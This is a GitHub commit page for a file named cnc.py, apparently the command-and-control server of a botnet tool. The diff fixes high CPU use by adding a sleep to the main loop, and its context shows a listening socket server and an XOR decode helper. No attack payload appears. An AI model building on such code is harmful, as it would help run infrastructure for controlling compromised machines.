Skip to content

Commit

Permalink
Fixed high cpu usage
Browse files Browse the repository at this point in the history
  • Loading branch information
Leeon123 authored Dec 13, 2020
1 parent 790ed0c commit 4b2cdc6
Showing 1 changed file with 8 additions and 3 deletions.
11 changes: 8 additions & 3 deletions cnc.py
Original file line number Diff line number Diff line change
Expand Up @@ -299,7 +299,7 @@ def main(rlock):
s.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)#Keepalive tcp connection
s.bind(('0.0.0.0',b))
s.listen(1024)
while True:
while 1:
sock, addr = s.accept()
threading.Thread(target=Verify,args=(sock,addr,rlock,),daemon=True).start()

Expand Down Expand Up @@ -341,5 +341,10 @@ def xor_dec(string,key):
rlock = threading.Lock()
threading.Thread(target=main,args=(rlock,),daemon=True).start()
while 1:
if shutdown:
sys.exit()
try:
time.sleep(0.1)
if shutdown:
sys.exit()
except KeyboardInterrupt:
break

0 comments on commit 4b2cdc6

Please sign in to comment.